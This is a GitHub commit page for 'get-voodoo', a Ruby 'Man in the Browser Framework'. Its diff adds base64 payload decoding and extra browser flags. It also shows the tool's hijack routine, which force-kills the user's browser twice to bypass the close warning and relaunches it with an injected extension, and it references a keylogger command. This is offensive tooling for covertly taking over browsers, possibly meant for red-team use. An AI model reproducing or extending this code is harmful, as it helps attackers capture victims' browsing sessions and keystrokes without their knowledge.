Skip to content

Commit

Permalink
Merge pull request #2 from breakpointHQ/dev
Browse files Browse the repository at this point in the history
Base64 Payload Decode Support
  • Loading branch information
masasron authored Mar 14, 2022
2 parents 0842a94 + 79cd127 commit 83d5429
Show file tree
Hide file tree
Showing 4 changed files with 13 additions and 11 deletions.
10 changes: 4 additions & 6 deletions lib/voodoo/browser.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,10 +6,9 @@ module VOODOO
class Browser
attr_reader :extension
attr_accessor :bundle
attr_accessor :profile
attr_accessor :process_name

def initialize(bundle: nil, process_name: nil, profile: nil, extension: Extension.new)
def initialize(bundle: nil, process_name: nil, extension: Extension.new)
@bundle = bundle
@extension = extension
@process_name = process_name
Expand Down Expand Up @@ -50,17 +49,16 @@ def add_permissions(permissions)
@extension.manifest[:permissions] += permissions
end

def hijack(urls = [])
def hijack(urls = [], flags: '')
# kill the browser process twise, to bypass close warning
`pkill -a -i "#{@process_name}"`
`pkill -a -i "#{@process_name}"`
sleep 0.1
sleep 0.2

urls = [urls] unless urls.kind_of? Array
urls = urls.uniq

profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
`open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{urls.shift}`
`open -b "#{@bundle}" --args #{flags} --load-extension="#{@extension.save}" #{urls.shift}`

if urls.length > 0
sleep 0.5
Expand Down
8 changes: 4 additions & 4 deletions lib/voodoo/cli.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@

module VOODOO

VERSION = 'v0.0.9'
VERSION = 'v0.0.11'

class CLI < Thor

Expand Down Expand Up @@ -90,7 +90,7 @@ def keylogger
end

option :browser, :type => :string, :aliases => :b, :default => nil
option :format, :type => :string, :aliases => :f, :default => 'none', :desc => 'json, payload, none'
option :format, :type => :string, :aliases => :f, :default => 'none', :desc => 'json, payload, payload:base64decode, none'
option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
option :urls, :type => :array, :aliases => :x, :default => []
option :params, :type => :hash,:aliases => :p, :default => {}
Expand Down Expand Up @@ -134,7 +134,7 @@ def template(path)
output_handler.handle(event)
end
else
browser.add_script(matches: matches,content: content, options: options[:params], background: background)
browser.add_script(matches: matches, content: content, file: file, options: options[:params], background: background)
end
end

Expand All @@ -144,7 +144,7 @@ def template(path)
urls = browser_inst['urls']
end

browser.hijack urls
browser.hijack urls, flags: browser_inst['flags'] || ''
end

def self.exit_on_failure?
Expand Down
4 changes: 4 additions & 0 deletions lib/voodoo/output.rb
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
require 'base64'

module VOODOO

class Output
Expand Down Expand Up @@ -48,6 +50,8 @@ def handle(event)
write JSON.generate(event)
when 'payload'
write JSON.generate(event[:payload])
when 'payload:base64decode'
write Base64.decode64(event[:payload])
else
write JSON.generate(event)
end
Expand Down
2 changes: 1 addition & 1 deletion voodoo.gemspec
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
Gem::Specification.new do |s|
s.name = 'get-voodoo'
s.version = '0.0.9'
s.version = '0.0.11'
s.summary = 'Man in the Browser Framework'
s.description = 'Man in the Browser Framework'
s.authors = ['Ron Masas']
Expand Down

0 comments on commit 83d5429

Please sign in to comment.